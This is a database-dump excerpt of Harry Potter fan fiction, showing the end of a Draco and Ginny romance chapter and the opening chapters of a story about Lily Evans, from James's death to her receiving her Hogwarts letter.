&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I\'m fine Ron.&quot; Except that you just ending my\nwinning streak, she &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">thought to herself. &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You do look feverish.&quot; Harry added. &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Really, I\'m fine.&quot; Ginny replied dryly. She\nlooked back over at &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco who was smiling smugly.&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I love you.&quot; He mouthed. She simply spit her\ntongue out at him.&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">LATER THAT NIGHT&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco lay quietly in his bed listening to the small ticking\nof his &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">clock. It was almost time. He yawned, waiting for her light\n&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">footsteps. He smiled when he finally heard her climbing up\nthe steps &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">to his dormitory. Ginny quietly opened the door and\nsauntered into &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">the small slat of moonlight that landed at the foot of his\nbed. &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco gasped when he saw what she was wearing. A long silk\n&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">nightdress of Slytherin green clung to her body in all the\nright &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">places. &quot;I thought you might like it.&quot; She\nwhispered. &quot;After all</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">you were such a good sport when I made you wear those boxer\nshorts &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">with the Gryffindor lion on them.&quot;&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco snorted in indignation. &quot;The things I do for you\nwoman.&quot; He &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">opened his arms and she eagerly fell into them. &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;I almost got lost on the way over here. It\'s been so\nlong since &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I\'ve had to come to your room.&quot; She taunted.&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Gods, Ginny, You won twice in a row! It\'s not like\nit\'s been that &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">long since the last time I won.&quot; He grumbled.\n&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Oh, did I hurt your pride Draco? Ginny purred running\nkisses along &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">his neck and shoulders. &quot;Let me make it\nbetter.&quot;&lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Mmmm please do.&quot; Draco whispered. Ginny kissed\nhim solidly on his &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">lips deciding that with this game losing was almost as fun\nas &lt;br&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">winning. &lt;/p&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;p class=MsoNormal&gt; &lt;/p&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;/div&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;/body&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&lt;/html&gt;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(280, 1, '<i>&quot;Woe to the man whose heart has not learned while young to hope, to \nlove - and to put its trust in life.&quot; -Joseph Conrad </i>\n<p></p>\n<p></p>Prologue -- August 1981 \n<p></p>Something was wrong. \n<p></p>The breeze that drifted in through the sheer curtains carried with it a \nsilence that seemed to alarm Lily rather than calm her. She sat up straight in \nher chair, her eyes darting over to her sleeping baby boy-- had he made that \nnoise? No, he slept quietly in his crib, eyes shut tight beneath a mop of wild \nblack hair, and Lily persuaded herself to ease back into her chair and carry on \nin her reading. Besides, James was downstairs-- he would have called her name if \nhe\'d needed anything. . . if he\'d needed . . . help. \n<p></p>But it was the absence of any noise altogether that prevented her nerves \nfrom easing down. That, and a powerful, sickening feeling befalling her, the \nlike of which she\'d only felt once before in her life-- the night that she\'d \nlooked directly into a pair of bright red, snake-like eyes and thought with \nabsolute certainty shed taken her last breath.\n<p></p>That same fear gripped her now as she sprang out of her chair, letting \nher novel fall to the ground, and scooped her child into her arms, close against \nher racing heart. There was no reason for her panic other than an innate sixth \nsense of sorts, which was screaming at her to get out of the house. \n<p></p>&quot;James?&quot; She threw open the door and sprinted down the hallway and down \nthe staircase to the ground floor. She ran into his study and found. . . \n<p></p>&quot;<i>James</i>!&quot; \n<p></p>At her feet lay a body limp and lifeless. He was facedown, but his hair, \nwild and free so much like his sons, made his identity unmistakable. A choked \nscream escaped from her that woke her son and, frightened at the noise, he began \nto cry. Still holding her baby, she used her free hand to turn James over. His \nface was white, blue eyes opened yet not aware of anything around them. \n<p></p>He was dead. \n<p></p>&quot;James! <i>No</i>!&quot; Lily\'s screams were now heaving gasps of desperation. \nShe ran her fingers through his hair, and her tears fell onto his rigid, cold \nface. \n<p></p>The baby was now hysterical. Barely able to see through her tears, she \nlooked down at her sons\' red face.\n<p></p>&quot;Harry,&quot; she whispered quietly, &quot;I--&quot;\n<p></p>&quot;You will stand aside.&quot;\n<p></p>That voice!\n<p></p>Slowly, shaking, she turned her head. Towering above her was the one \nfigure whom she\'d feared would one day appear. His thin face was barely visible \nfrom beneath his black robes and in his hand he held a wand, pointed \nthreateningly at her. \n<p></p>She held her son close, and his cries became muffled against her chest. \n&quot;You\'ve killed James.&quot;\n<p></p>&quot;Yes, but you needn\'t die tonight if you cooperate. Stand aside that I \nmay take your son.&quot;\n<p></p>&quot;You may take my life, Voldemort. You will not <i>touch</i> my son.&quot; \n<p></p>&quot;Then you leave me no alternative than to take both of yours.&quot; \n<p></p>Voldemort raised his wand. \n<p></p>Lily placed her lips against her sons\' tear-stained cheeks and then \nwhispered into his ear something that Voldemort could not hear. It was in a \nstrange, ancient tongue, and then in the same breath, she whispered the last \nwords she was ever to say: \n<p></p>&quot;I\'ll always love you, Harry.&quot;\n<p></p>\n<p></p>* * * \n<p></p>\n'),
	(280, 2, '<b>Chapter One: June 1970</b> \n<p></p>Just two weeks before Lily Evans\' eleventh birthday, the most peculiar \nthing happened. \n<p></p>It was another ugly, dreary day-- the sort of day when the weather \ncouldn&#8217;t seem to decide whether it wanted to lightly drizzle or unleash a \ndeluge. The students were released from the last day of class with the usual \ncheering and shouting as they made a break through the puddles for home. \n<p></p>Waiting at the front gate of Lemmingtons Primary, just like every day, \nwas Lily\'s older sister Petunia. Her boyfriend of the moment, a ginger haired \nbloke named Edmund, was stealing a snog as Lily walked up.\n<p></p>&quot;Mum told you not to do things like that, Petunia.&quot; \n<p></p>Petunia broke away from Edmund upon hearing this and glared down at her \nlittle sister. &quot;I don\'t think that\'s any of your business, now is it?&quot;\n<p></p>Edmund, however, smiled. &quot;Oh come on Petunia, she\'s only lookin\' out for \nyou, after all.&quot; He bent down. &quot;How old are you now, anyway?&quot;\n<p></p>&quot;Eleven next month,&quot; Lily answered blandly. She\'d never been too \nimpressed with any of her sister\'s boyfriends. \n<p></p>&quot;You\'re a regular grown-up now, aren\'t you? In fact,&quot; he said, taking her \nby the hand, &quot;I think that rather merits your being able to sit up in the front \nseat today.&quot; \n<p></p>Edmund drove a top of the line, brand new 1970 Zephyr and it glinted \nbright cherry red before them. \n<p></p>&quot;You\'re bribing me to keep my mouth shut about snogging my sister, \nright?&quot; \n<p></p>Edmund didn\'t have to feign his surprise. &quot;Bit young for language like \nthat, aren\'t you? And yes, I am. Do we have a bargain?&quot; \n<p></p>Lily winked and slid into the front seat, Petunia wordlessly climbing \ninto the backseat. Edmund revved up the engine and Petunia leaned forward over \nher sisters\' shoulder to turn on the radio, blaring up a peppy, chart-topping \nsong of the moment. Not climbing back into the back seat, she teased Edmund\'s \near with schoolgirl kisses and he responded happily as he steered the car with \nhis right hand, using his left to gently pull at Petunia\'s short, wavy brown \nlocks. \n<p></p>Before Lily could say anything, Petunia\'s knobby knees were pushing their \nway into the front seat and Lily found herself squishing up next to the window \nto make the necessary room. Edmund\'s driving seemed to accelerate the more they \nplayed around, the winding country road through the outskirts of Rochester \nsuddenly feeling more like a race track than anything else. \n<p></p>&quot;Edmund,&quot; said Lily, a bit worried about not only his speeding, but the \nfact that he wasn\'t paying attention to the road, &quot;Edmund, slow up a bit, eh?&quot; \n<p></p>The radio was too loud and Edmund was too distracted to notice. That\'s \nwhen Lily\'s fears were suddenly confirmed: dead ahead of them in the road was a \nstalled Lorry, its\' hazard lights blinking, it\'s trailer blocking the entire \nroad. \n<p></p>&quot;<i>Edmund</i>!&quot; Lily shook her sister\'s sleeve violently and Petunia, \nupon realizing the magnitude of the impending disaster, let out a scream. Edmund \nslammed on the breaks, everyone lurched forward in their seats, Petunia\'s \nscreaming intensifying right along with the screeching breaks. \n<p></p>And then it was over. \n<p></p>They were safely on the other side of the road, the car skidding to a \nhalt. No one spoke a word. Lily\'s heart was racing and she stared at her sister \nand Edmund in a mixture of relief, of fear and of anger. \n<p></p>Petunia had drained of all color and when she finally did speak, her \nvoice was trembling. \n<p></p>&quot;H-how d-did we get p-past that lorry?&quot; \n<p></p>Lily was rather interested in that answer herself, as was the lorry \ndriver who then pounded on her window. He was a rough looking, wiry haired \nmiddle-aged man, and Lily couldn\'t tell if he was angry or frightened as she \nrolled down the window. \n<p></p>&quot;Oy! You lot! All right in here?&quot; \n<p></p>&quot;Y-yes sir,&quot; said Edmund, still audibly shaken, &quot;yes, we\'re all right, \nall of us, thank you.&quot; \n<p></p>The man looked relieved, briefly, and then mad as hell. &quot;Dunno what you \nwere thinkin, drivin\' like a bleedin\' auto racer down a narrow country road like \n\'at! Damn lucky y\'all aren\'t on the way to the hospital right now! Could\'ve \nsworn you were gonna ram headlong into me trailer!&quot; \n<p></p>&quot;So did we,&quot; Lily murmured under her breath. \n<p></p>&quot;Keep yer bleedin\' eyes on the bleedin\' road from now on, will yer?&quot; The \nman then turned and stormed off in a fury. \n<p></p>Edmund started up the engine again and they continued on their way, \nalthough this time Edmund was barely moving faster than a snail\'s pace. \n<p></p>&quot;Edmund,&quot; said Petunia, &quot;how did we. . .&quot;\n<p></p>&quot;I dunno. . . I thought we were all dead for sure. . .&quot; \n<p></p>Lily was trying to figure it out as well. In the blink of an eye they\'d \nsomehow ended up on the other side of the road-- almost as though they\'d driven \nthrough the trailer. But of course, that was utterly ridiculous. \n<p></p>&quot;It was like magic,&quot; said Lily quietly. \n<p></p>Petunia looked annoyed. &quot;<i>There\'s no such thing as magic</i>, Lily. \nMaybe. . . Edmund here is one helluva better driver than we gave him credit \nfor.&quot;\n<p></p>Edmund pulled up to the girls\' home-- a small, simple two story with a \nbarely existent back garden and an even smaller front garden. Even though the \nhome itself wasn\'t in the best neighborhood, Mrs. Evans made absolutely certain \nthat the home was kept up to its best possible state: her roses seemed to always \nbeen in bloom, the back lawn was always cut and kept immaculately, and there was \nnever a speck of dust to be found anywhere in the home. Not to mention the fact \nthat the home had the delightful tendency to always smell like sugar biscuits, \nas that was Mrs. Evans\' specialty. \n<p></p>As a matter of fact, an entire plate of the little devils awaited the \nthree as they walked inside from the cold. Mrs. Evans, an attractive woman in \nher forties with soft auburn hair and stunning green eyes, was visibly worried \nwhen they arrived. Lily went straight for the biscuits and did most of the \nmunching, while Petunia did all the talking-- explaining to their mother why \nthey were so late getting home. Of course, she left certain things out of the \nstory, and by the time she\'d finished, Mrs. Evans was under the impression that \nthey\'d nearly been run off the road by a careless lorry driver. Lily opened her \nmouth to protest, but a kick in the shins from her sister warned her to not even \nthink about it.\n<p></p>Edmund left not too long afterwards, and Lily retreated upstairs to \nformally retire her school things for the summer, a sugar biscuit wrapped in a \nnapkin for later. \n<p></p>&quot;I\'d lay off those biscuits if I were you, Lily dear. Not too much slack \nin your trousers these days, is there?&quot; \n<p></p>Lily flushed and threw her sister a sour look. &quot;If you\'ve nothing better \nto say, then I suggest you leave, Tunie dear.&quot;\n<p></p>But Petunia had no intention of leaving. She folded her arms and \npatrolled her sisters&#8217; room, sticking her pointy noise into her books and \nmagazines as though she were inspecting it. Lily rolled her eyes and finished \nputting away her pencils and pens-- sometimes she thought that Petunia\'s only \nsource of pleasure in life was tormenting her.\n<p></p>&quot;Still reading these stupid fairy tales?&quot; She said, holding up a \nhardcover book with a picture of a fairy on the front. &quot;I\'d think that by now \nyou would have grown out of that silly phase. Most children stop believing in \nthat nonsense right along with Santa Clause.&quot; \n<p></p>Lily couldn\'t help the smile that escaped her lips. &quot;Mum gave that book \nto me. It might interest you to know that A Midsummer Night\'s Dream is \nShakespeare, not Disney. Anyway, I\'d rather be a dreamer than a liar like you \nare.&quot; \n<p></p>&quot;A wot?&quot; \n<p></p>&quot;I can\'t believe you told Mum those things! I\'ve a right mind to tell her \nthe truth right now--&quot; \n<p></p>&quot;You do that and I\'ll rip your arms right out of their sockets!&quot; \nPetunia\'s mouth was thin and angry. Lily got the hint that she wasn\'t joking. \n&quot;Besides, I\'ve got blackmail on you. Edmund\'s little sister told me how the \nother day you almost got sent home for turning another girl\'s hair green.&quot;\n<p></p>Lily stiffened, shocked that her sister knew about that. &quot;I didn\'t do it! \nI was just standing there and her hair turned green all by itself!&quot; \n<p></p>&quot;Right. Who\'s the liar now, eh? Anyway, the only reason you got off free \nis because they couldn\'t prove it was you, but everyone knows you did it, you \nsneaky little rat. No one likes you there, you know. They all think that you\'re \na flippin\' looney, and I have to side with them on that.&quot; \n<p></p>Lily\'s throat tightened and she had to muster up every ounce of \nself-control she had to not give way to tears. Because her sister was absolutely \nright. Lily hated Lemmington\'s more than anything else in the world-- no matter \nwhat she tried, she never could seem to blend in. Edmund\'s little sister had \nbeen a mate of hers, but now she was learning that even she talked about her \nbehind her back. \n<p></p>She tried hard, she really did! But she just always seemed to be the \noutcast. It was either because she was too up-front and honest about the things \nshe believed in and was labeled as a \'know-it-all-blabbermouth,\' or because \nwhenever it came to playing games on the field, she seemed to always confront \nthe team captains with \'a much better idea\'. (They called her cheeky-- but what \nreally annoyed them was that she was always right). Some people have a hard time \nbeing show up by other people-- especially when the other person was a short, \nsomewhat pudgy, ginger haired ten year old. With the face, one might add, of an \nabsolute angel. Even her most vocal enemies (including her sister Petunia) had \nto admit, deep down inside, that the awkward looking little thing had an unusual \nbeauty-- namely her striking electric green eyes that never failed to cause \nstrangers to stare unabashedly. \n<p></p>Of course, when someone is ten years old, they don\'t understand that the \nreason behind such hostile behavior is actually something called jealousy. No, \nwhen you\'re ten years old and someone calls you a \'know it all,\' \'a cow\' or a \n\'spastic,\' then you believe them. But things would be different next year, Lily \nconstantly reminded herself. She\'d be going into secondary school across town \nand would have the opportunity to start all over again. \n<p></p>Petunia was still in the room. \n<p></p>&quot;I\'ve got things to do. Mind leaving?&quot; \n<p></p>&quot;Glad to,&quot; said Petunia with a smirk, and then she turned and sauntered \nout of the room. Lily closed the door with a slam and threw her body onto her \nbed, pulling her face into her pillow. Crying herself to sleep wasn\'t an \nunfamiliar thing for Lily Evans. No, it was rather more of a habit. \n<p></p>** \n<p></p>Saturday morning fry-ups were an Evans household tradition. And it was \ncommon knowledge that no one in all of Kent made a better fry up than Barbara \nEvans. Mr. Evans, a kind-faced even-tempered fellow, was always first to the \nbreakfast table (nine-fifteen on the nose) and he would settle behind the Daily \nMail, calmly sipping his black coffee, while Mrs. Evans flurried about the \nkitchen, throwing this and that here and there, and sending decadent aromas into \nthe air. And since this weekend was the official first weekend of the girls\' \nsummer holidays, the meal was especially sinful. \n<p></p>&quot;Classes all lined up for next year, Tunie?&quot; asked Mr. Evans as he \nstarted on his second helping of kippers. \n<p></p>&quot;Of course,&quot; said Petunia with a distinct air of supremacy. &quot;All very \nchallenging subjects, of course, but I expect full marks-- again.&quot; \n<p></p>Lily cringed, knowing that was a direct slap at her-- good grades weren\'t \nexactly her specialty. \n<p></p>&quot;And Lily dear, I\'m sure we\'ll be expecting an improvement from you at \nyour new school. I\'ve said it before and I\'ll say it again, decent marks are \nyour only ticket to success in this world. I understand that you like to \nquestion the teacher and analyze everything you\'re taught, but. . .&quot; he sighed. \n&quot;it\'s good to have a mind of your own my dear, but when it comes to not \nparticipating in an essay because you disagree with the sentiments, well, \nsometimes you just have to just do it anyway!&quot; \n<p></p>&quot;Well I heard that Walderslade Secondary has a simply superb faculty and \na fine curriculum.&quot; \n<p></p>Lily smiled: Mum was always there to lighten things up. \n<p></p>&quot;Really? At Chetterings we hear that Walderslades has one of the worst \nrecords in the district.&quot; \n<p></p>And there was Petunia, always ready to bring them back down again.\n<p></p>&quot;Well Chetterings <i>is</i> a Private School, Tunie. We\'re talking about \nPublic schools--&quot; Mrs. Evans looked up. &quot;Goodness, the post is early this \nmorning!&quot; She hurried off down the hall, as she had been expecting a parcel from \na fashion magazine (Mrs. Evans was a devout magazine shopper) leaving Lily to \nthe continuing sermon from her father and Petunia. Petunia, it isn\'t surprising \nto add, seemed most delighted with the subject and was quite willing to offer \nher endless opinions on the matter. (Mr. Evans\' responses to these opinions, \nhowever, never rose above the obligatory &quot;Mmmm.&quot;) \n<p></p>Mrs. Evans\' excited re-entry confirmed that she had indeed received the \nparcel she was waiting for and she wasted no time in ripping it out of the box \nto show it off to her husband. &quot;Isn\'t it simply divine?&quot; She held up the deep \nmaroon suede coat with toggle like buttons. \n<p></p>Mr. Evans looked up from his roasted potatoes and raised a brow. &quot;It \ncertainly is red, isn\'t it.&quot; \n<p></p>&quot;It\'s maroon! Really, Harold! It\'s all the rage this season! Direct from \nthe States--&quot;\n<p></p>&quot;Mmmm,&quot; came his reply and Lily had to make every effort to contain her \ngiggle. Mr. Evans shot Lily a devious grin and winked, and she returned it-- a \nsecret ritual shared only between the two. \n<p></p>&quot;Oh,&quot; said Barbara as she folded the coat back up into the box, &quot;you\'ve a \nletter as well, Lily. I think it\'s from your pen pal.&quot;\n<p></p>Lily eagerly reached for the letter, hoping it really was her pen pal \nAdelaide from up in Ireland. She was the only person who seemed to understand \nher. But the thick yellowed envelope and green fancy lettering that met her most \ncertainly wasn\'t Adelaide\'s:\n<p></p>\n<center>To: Miss Lily Evans<br>12 Broadlands Close<br>Rochester Kent<br>Me5 \nOTG<br></center>She turned the letter over and found it was sealed with an \ninsignia she\'d never seen before: it resembled a coat of arms and below it, in \nfrilly script, was a funny-sounding word: &quot;Hogwarts&quot;. \n<p></p>Starting to think perhaps it was sent to her by mistake, she opened the \nletter anyway, the rest of her family content in their own affairs and not \npaying any attention. If they had been, they would have seen the look of shock \nthat suddenly overcame her. She read the words-- they were plain as day-- but \nsimply couldn\'t believe them:\n<p></p>\n<center>HOGWARTS SCHOOL of WITCHCRAFT and WIZARDRY<br>* * *<br>Headmaster: ALBUS \nDUMBLEDORE<br>(<i>Order of Merlin, First Class, Grand Sorc., Chf Warlock, \nSupreme Mugwump, International Confed. of Wizards</i>)\n<p></p>Dear Miss Evans:<br>We are pleased to inform you that you have been \naccepted at Hogwarts School of Witchcraft and Wizardry. Please find enclosed a \nlist of all necessary books and equipment. Term begins on 1 September. We await \nyour owl by no later than 31 July. \n<p></p>Yours Sincerely,<br>Minerva McGonagall<br>Deputy Headmistress \n<p></p></center>In a complete daze, she turned to the next page and found the \nlist the message had been referring to: \n<p></p>\n<center>HOGWARTS SCHOOL of WITCHCRAFT and WIZARDRY<br>* * *<br>UNIFORM:\n<p></p>First Year students will require:\n<p></p>1.) Three sets of plain work robes (black) <br>2.) One plain pointed hat \n(black) for day wear<br>3.) One pair of protective gloves (dragon hide or \nsimilar)<br>4.) One winter cloak (black, silver fastenings)<br>Please note that \nall pupils\' clothes should carry name tags\n<p></p>COURSE BOOKS: All students should have a copy of each of the \nfollowing:<br>The Standard Book of Spells (Grade 1)<br>by Miranda Goshawk<br>A \nBrief History of Magic<br>by Andou Bagshot3<br>Magical Theory<br>by Adalbert \nWaffling<br>A Beginner\'s Guide to Transfiguration<br>by Emeric Switch<br>Five \nHundred Magical Herbs and Fungi<br>by Phyllida Spore<br>Magical Drafts and \nPotions<br>by Arsenius Jigger<br>Fantastic Beasts and Where to Find Them<br>by \nNewt Scamander<br>The New Threat of Dark Forces<br>by Quinten Trimble\n<p></p>OTHER EQUIPMENT:\n<p></p>1 Wand<br>1 Cauldron (pewter, standard size 2)<br>1 set glass or crystal \nphials<br>1 telescope<br>1 set brass scales<br>Students may also bring an owl OR \na cat OR a toad.\n<p></p>PARENTS ARE REMINDED THAT FIRST YEARS ARE NOT ALLOWED THEIR OWN \nBROOMSTICKS \n<p></p></center>&quot;Well? What does Addy have to say this time? Off to Majorca \nagain on Holiday? Harold, when are we going to take the girls there? I know they \nmust be dying to go! And didn\'t you say that we\'d be able to afford it this \nyear?&quot; \n<p></p>&quot;Did I? I don\'t remember. Old age, you know.&quot; \n<p></p>&quot;Old age my foot. Amazing how your selective memory only acts up when it \ninvolves money.&quot; \n<p></p>Harold laughed. &quot;Yes it is, isn\'t it! I dunno, luv. I\'ve lesson plans to \nprepare and--&quot; \n<p></p>&quot;Oh, nonsense. You\'ve been teaching the same curriculum at that stuffy \nold University for the past ten years. You could teach it in your sleep.&quot;\n<p></p>During all this, Lily\'s hands were still holding the brownish paper \ntightly, her mouth open, though no sound able to come out. \n<p></p>&quot;Sweetie?&quot; Mr. Evans finally looked up from the newspaper at his \ndaughter. &quot;Answer your mother-- what did Addy have to say?&quot; \n<p></p>Lily said nothing. Her eyes were still stuck on those glaring green \nletters &quot;School of Witchcraft and Wizardry&quot;-- the list of &quot;equipment&quot; that \nincluded cauldrons and pointed hats. . . how could her parents possibly expect \nher to carry on an intelligent conversation? \n<p></p>Now the entire Evans family was staring at her. \n<p></p>&quot;Lily,&quot; Mrs. Evans prodded, &quot;what is it, is something wrong?&quot; \n<p></p>Her hands were now shaking somewhat. &quot;I . . . I think so, yes.&quot;\n<p></p>&quot;She\'s not ill, is she? I read about a horrific flu outbreak in Howth \nwhich isn\'t too far from where Addy lives, isn\'t it? They said it was the worst \nin--&quot; \n<p></p>&quot;Mum, it\'s nothing to do with Addy,&quot; said Lily, her eyes still stuck on \nthe letter.\n<p></p>&quot;Well? What is it then?&quot;\n<p></p>Petunia appeared to be most interested of all, because she reached \nforward and swiped the letter out of her sister\'s hands. Within seconds, the \nsame shell-shock expression befell her as well. Eyes wide, she looked at Lily, \nthen down at the letter, then back at Lily. \n<p></p>&quot;It. . . it must be a j-joke, right?&quot; \n<p></p>&quot;Oh for heavens sake! Enough of this cryptic nonsense! Give me that!&quot; \nBarbara pulled it out of Petunia\'s hands, her husband reading the words over her \nshoulder. Lily looked to her parents pleadingly for some sort explanation. To \nmake some sense of the overwhelming confusion. But once they\'d finished the \nletter, they had no answers to offer. \n<p></p>Silence at the breakfast table. Only disbelief. \n<p></p>I wish they\'d stop *staring* at me! \n<p></p>&quot;It must be a joke,&quot; Petunia said again. &quot;I mean, two weeks until her \nbirthday-- someone\'s idea of a birthday prank. Maybe Addy sent it to be funny.&quot; \n<p></p>&quot;Not to be rude,&quot; said Lily, &quot;but I don\'t think Addy is quite. . . that \ncreative to come up with something like this. Besides, her penmanship is pants.&quot; \n\n<p></p>&quot;Watch your language,&quot; said Mrs. Evans in a dazed, drone-like voice. She \nstared at the letter again, shaking her head. \n<p></p>&quot;H-have any of you ever heard of this place?&quot; Lily asked quietly. &quot;I \nmean. . . is it real?&quot; \n<p></p>&quot;Of course it\'s not!&quot; Petunia looked stunned that her sister had even \nconsidered such a possibility. &quot;I just told you it\'s just a joke!&quot; \n<p></p>&quot;Do <i>you</i> know who sent it?&quot; \n<p></p>&quot;Well, no--&quot; \n<p></p>&quot;Then how do you know it\'s a joke?&quot; \n<p></p>&quot;For the last time, because there\'s no such thing as magic!&quot; \n<p></p>But Mr. Evans had been peculiarly calm throughout the whole revelation. \nHe took a sip from his coffee and addressed his daughters with a sudden \nseriousness. &quot;I wouldn\'t be so sure that, Petunia love.&quot; \n<p></p>Petunia stared at her father in disbelief. \n<p></p>&quot;Seeing this letter just . . . confirms what I have, for years, labored \nwith admitting. Some years back, a fellow professor at the University and I were \ntalking. He and I were good mates and I had an incredible respect for him: a \nShakespeare professor. You remember Giles Waring, don&#8217;t you Barbara dear? A very \nintelligent man, he was. One day, in the course of conversation, somehow the \nsubject of his wife came up. I asked her if she was a homemaker or if she worked \nand he told me that she worked as well. However, when I asked what her \noccupation was, he became oddly quiet. It took several minutes for me to get it \nout of him. Finally, he told me that recently his wife revealed to him that she \nwas actually a witch. And apparently she\'d recently taken a job working with \nsomeone by that very name on the letter right here. I never forget a name-- \nespecially one like that.&quot;\n<p></p>Lily was on the edge of her seat. Petunia looked mortified. \n<p></p>&quot;I was never sure if I believed him. I had no reason not to, him being \nthe admirable man he was, however all logic pointed against it. But now. . . &quot; \nhe sighed. &quot;Now I believe he was telling the truth after all.&quot;\n<p></p>Barbara looked up at her daughter. &quot;And you. . .&quot; her voice was quiet. \n&quot;You\'re a witch. . .&quot; A smile, however slight, tugged at her lips. &#8220;I must admit \nI never expected anything like this. . .&#8221; \n<p></p>&quot;But <i>how</i>?&quot; Lily cried, &quot;I can\'t be! I mean, the only thing that I \ndo with a broomstick is sweep with it! Even on Halloween-- I\'ve never been \ninterested in it! I\'ve never done anything that would tell me I could be a \nwitch. . .&quot; \n<p></p>But the minute the words were out there, she knew how much of a lie that \nreally was. Turning Lillian Gerkins\' hair green. . . had it really been her? And \njust yesterday, their inexplicable survival of that potentially fatal crash. . . \nhad she done that as well? Without knowing it? And then everything started \ncoming back to her: things that had happened years ago-- odd things she hadn\'t \nbeen able to explain logically. Things that she\'d just dismissed as \'one of \nthose things.\' Perhaps they hadn\'t been as inexplicable as she\'d thought. \nPerhaps that letter really was right. . . <i>maybe she really was a witch</i>!\n<p></p>&quot;I don\'t believe it,&quot; said Petunia, her voice now very impatient. &quot;No one \nin our family is one of them. No way that Lily could. <i>No way</i>.&quot; \n<p></p>Barbara was still trying to decipher the letter. &quot;It says \'we await your \nOwl.\'&quot; She bit her lip in thought. &quot;Owl? What could they possibly mean by that?&quot; \n\n<p></p>&quot;It\'s almost as though they meant to say \'we await your response,\'&quot; said \nPhilip as he flipped the envelope over. &quot;But there\'s no return address. . . the \npost boy delivered it?&quot;\n<p></p>&quot;Well, I assume so. It was with all the other mail.&quot; \n<p></p>Mr. Evans stood up. &quot;Come along, then.&quot; Lily was right at his feet as he \nrushed to the front door and threw it open. \n<p></p>There, sitting off to the side of the front step was a dark brown barn \nowl with a patchy white face. He didn\'t look at all startled by the presence of \nthe humans but merely looked up and gave a quiet, almost amicable \'how do you \ndo\' sort of hoot. \n<p></p>&quot;Ladies? I think this settles the debate quite plainly.&quot; Mr. Evans knelt \ndown to one knee and cautiously placed his fingers at the base of the owl\'s neck \nand softly scratched the fur. The beautiful bird closed its eyes, allowing \nHarold to continue, and once again, let out a soft hoot. Lily broke out into a \nsmile at the amazing sight, and indeed, her father looked quite pleased as well. \n\n<p></p>&quot;Perhaps we should take him inside?&quot; Mrs. Evans was now getting \nadventurous as well. &quot;If he delivered this letter from any great distance, I\'m \nsure he could use some water.&quot; \n<p></p>&quot;Right,&quot; said Mr. Evans, &quot;though. . . I\'m not sure how to handle these \ncreatures.&quot; He pulled down his long sleeve tightly and held out his arm in front \nof the owl. Apparently the bird understood and his inched forward, climbing onto \nhis arm. Mr. Evans let out a gasp. \n<p></p>&quot;Goodness, he\'s heavy!&quot; He stood up carefully, not wanting to disturb the \nowl in any way: it\'s claws looked quite painful. They brought him inside and \nMrs. Evans spread some newspaper overtop the carpeting. The bird stepped down \nand then hooted quite happily once Mrs. Evans presented him with a small bowl of \nwater. \n<p></p>&quot;Then. . . I suppose all I have to do. . . is give him a letter with my 